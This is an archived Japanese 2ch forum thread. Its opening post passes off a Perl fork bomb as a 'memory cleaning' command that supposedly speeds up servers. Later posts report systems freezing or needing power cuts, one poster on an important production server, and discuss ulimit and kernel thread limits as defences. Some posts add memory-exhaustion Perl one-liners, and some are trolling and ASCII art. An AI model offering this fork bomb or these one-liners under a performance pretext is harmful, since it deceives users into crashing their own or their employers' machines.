簡単!メモリクリーニング
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGメモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0181名無しさん@お腹いっぱい。
NGNGテストしてみました。
ほんとに落ちるのだろうか、まだ落ちる気配もない。
0182181
NGNGうちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。
それとdbskkd-cdbくらいかな。
MMX pentium 200Mhz Mem96MB。
普通に使っててもメモリ不足気味な状態です。
018346
NGNG捕捉。
no more processes? がでるまで数分かかりました。10分いかないぐらいでプ
ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな
いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動?
電源遮断は40分後です。
0184名無しさん@お腹いっぱい。
NGNG1. rootでやったのか?
2. プロセス数制限はあったのか?
0185名無しさん@お腹いっぱい。
NGNGroot で 全unlimitです。
0186名無しさん@お腹いっぱい。
NGNGOS はRedHatだが、固まった。
結構重要なシステムなので漏れは首だな。
首ですむならまだいいが、損害も出るだろうから
もう終りだ。2chに書いてあったから試してみたなんて
言えるはずが無い。
あああああ。
0187名無しさん@お腹いっぱい。
NGNGなんでソラリスでやったとかAIXでやったとか
いう書き込みがないのか、今なら分かるだろ?
0188名無しさん@お腹いっぱい。
NGNG0189名無しさん@お腹いっぱい。
NGNGまぁ、冗談だとは思うけど、仮に事実だとして、
君みたいなのに重要なサーバのroot権限与えてるような会社だったら
原因不明でセーフだろ
それに、転職できるチャンスだよ、鯖管は君には向いてないよ。
0190名無しさん@お腹いっぱい。
NGNG普通なら、それ以前にlimitで止められる。
0191名無しさん@お腹いっぱい。
NGNGスレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・
>>190
スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。
ただしカーネル2.5系では蘇生可能という説も。
0192名無しさん@お腹いっぱい。
NGNG0193名無しさん@お腹いっぱい。
NGNGlimitは2.4でも出来ますが
0194名無しさん@お腹いっぱい。
NGNG0195名無しさん@お腹いっぱい。
NGNG# yes > /dev/null
ではダメか?
0196名無しさん@お腹いっぱい。
NGNGulimit -u 32; perl ...
でブロックできてるが、これとは違うのか?
--- 2.4.20にて
0197名無しさん@お腹いっぱい。
NGNGroot でやってみてよ!
ダメでしょ!
おちるでしょ!
at Redhat9
kernel になにかパッチとかしたんですか?
0198名無しさん@お腹いっぱい。
NGNGむしろ、自前パッチもあたってるな。
0199名無しさん@お腹いっぱい。
NGNGrm -rf * もできるし
limitを超えての操作が出来てもあたりまえなんすかねぇ…(?
0200名無しさん@お腹いっぱい。
NGNG0201名無しさん@お腹いっぱい。
NGNGWoody kernel-2.4.18 一般ユーザで実行
完全にフリーズ状態で外部からping以外反応無し
焦ってctrl+alt+delete三十回ほど連打したら何とか再起動
これじゃやばいっす
0202名無しさん@お腹いっぱい。
NGNG0203名無しさん@お腹いっぱい。
NGNG0204名無しさん@お腹いっぱい。
NGNG0205名無しさん@お腹いっぱい。
NGNGp l a n 9 を 使 え と 言 っ て る
0206名無しさん@お腹いっぱい。
NGNG0207名無しさん@お腹いっぱい。
NGNG0208名無しさん@お腹いっぱい。
NGNG・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房
・それを便利でスゲェと思って使う厨房
3つそろったら最強だな。
0209名無しさん@お腹いっぱい。
NGNG0210名無しさん@お腹いっぱい。
NGNG0211名無しさん@お腹いっぱい。
NGNG/proc/sys/kernel/threads-max
が結論だろ
0212名無しさん@お腹いっぱい。
NGNGで、plan9でやった結果はどうだったんだ?
0213名無しさん@お腹いっぱい。
NGNGrootとが神云々とか言ってたから
plan9ひっぱりだしてきただけだ
エーン
0214名無しさん@お腹いっぱい。
NGNG0215名無しさん@お腹いっぱい。
NGNGとりあえずこれ説明してみて
0216名無しさん@お腹いっぱい。
NGNG0217212
NGNGつまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
0218名無しさん@お腹いっぱい。
NGNGすまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。
>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
0219名無しさん@お腹いっぱい。
NGNGそれらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。
0220名無しさん@お腹いっぱい。
NGNGそれはメモリ(物理+仮想)食いつぶした時の動作じゃないか?
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。
0221名無しさん@お腹いっぱい。
NGNGプロセスの重要度なんてカーネルは知らんからね
0222名無しさん@お腹いっぱい。
NGNGでは一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。
ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
0223↑
NGNG>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。
0224名無しさん@お腹いっぱい。
NGNG0225名無しさん@お腹いっぱい。
NGNGこのスレは、彼も応援してるヨ〜ン。
0226名無しさん@お腹いっぱい。
NGNG0227名無しさん@お腹いっぱい。
NGNGrootで >>1 を動かしたら固まりました、もその仲間ではないか、と。
# sync;sync;sync
0228名無しさん@お腹いっぱい。
NGNGrootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
0229名無しさん@お腹いっぱい。
NGNGユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。
大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
0230うひひ
NGNGでもわかってる香具師はrootでイインジャネーノ?
userにしろrootにしろファイルをパツイチ消しなんて行為は普通しないし
チョイト香ばしいことするときはuserにスイッチするし(うひひ
さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
マンドクセーことはしない
0231名無しさん@お腹いっぱい。
NGNGここは釣れませんよ
0232222
NGNGデータを取るためのスレじゃなかったのでしょうか?(笑
0233名無しさん@お腹いっぱい。
NGNGHPユーザ代表つーことで実験結果よろしくw
0234うひひ
NGNGペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いヤシでトントンピーとインスツールしたいので緊急に急いでいまつ
おながいしまつ
0235名無しさん@お腹いっぱい。
NGNG0236名無しさん@お腹いっぱい。
NGNG管理者教育をちゃんと受けてないんじゃないのか?
>>230
いや、わかってないからrootではいっちゃうんだろ。
...というのはつられたことになるのか?
0237名無しさん@お腹いっぱい。
NGNGわかるけど、root で作業というのは違うだろう。
0238名無しさん@お腹いっぱい。
NGNGroot で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。
まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
0239名無しさん@お腹いっぱい。
NGNG業務鯖でrootはちょいとこわいですな
0240名無しさん@お腹いっぱい。
NGNGハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。
みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。
0241名無しさん@お腹いっぱい。
NGNG0242名無しさん@お腹いっぱい。
NGNG┃********┃
┃********┃
┃********┃
┃***○●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
0244名無しさん@お腹いっぱい。
NGNG┃********┃
┃********┃
┃***●****┃
┃***●●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
0245名無しさん@お腹いっぱい。
NGNGつーかおまいらがんがんデータ取りやがれ
おながいします。
0246名無しさん@お腹いっぱい。
NGNG0247名無しさん@お腹いっぱい。
NGNGプ
0248名無しさん@お腹いっぱい。
NGNG┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●○**○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0249名無しさん@お腹いっぱい。
NGNG学校ではいつも独りぼっち
0250名無しさん@お腹いっぱい。
NGNG0251名無しさん@お腹いっぱい。
NGNGDangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもバクハツするわけじゃないだろうし
こういうのを使って
"簡単!ディスククリーニング" は、できないだろうか。
0252名無しさん@お腹いっぱい。
NGNG┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●●●*○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0253名無しさん@お腹いっぱい。
NGNGマザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
0254名無しさん@お腹いっぱい。
NGNGで2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK!
0255名無しさん@お腹いっぱい。
NGNG0256名無しさん@お腹いっぱい。
NGNGgentooのpatchがダメなんじゃないの?
0257名無しさん@お腹いっぱい。
NGNGどれかにマズい不具合がまじってるかもね。
0258名無しさん@お腹いっぱい。
NGNG0259名無しさん@お腹いっぱい。
NGNG会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
0260名無しさん@お腹いっぱい。
NGNG0261名無しさん@お腹いっぱい。
NGNG煽りなんだろうけど、いまいち意味がわからない。
0262名無しさん@お腹いっぱい。
NGNG0263222
NGNGちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。
0264名無しさん@お腹いっぱい。
NGNGだが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
0265222
NGNGとりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
0266訂正
NGNG${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
0267名無しさん@お腹いっぱい。
NGNG0268名無しさん@お腹いっぱい。
NGNGFreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
0269名無しさん@お腹いっぱい。
NGNGOut of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
0270222
NGNGという物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
0271名無しさん@お腹いっぱい。
NGNG>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
0272名無しさん@お腹いっぱい。
NGNGそもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
0273名無しさん@お腹いっぱい。
NGNG┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0274名無しさん@お腹いっぱい。
NGNG┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0275名無しさん@お腹いっぱい。
NGNGなんでいちいちンなこと実行するんですか?
0276名無しさん@お腹いっぱい。
NGNG0277名無しさん@お腹いっぱい。
NGNG○ 空気を読む神経回路が備わってない
0279あぼーん
NGNG0280名無しさん@お腹いっぱい。
NGNG■ このスレッドは過去ログ倉庫に格納されています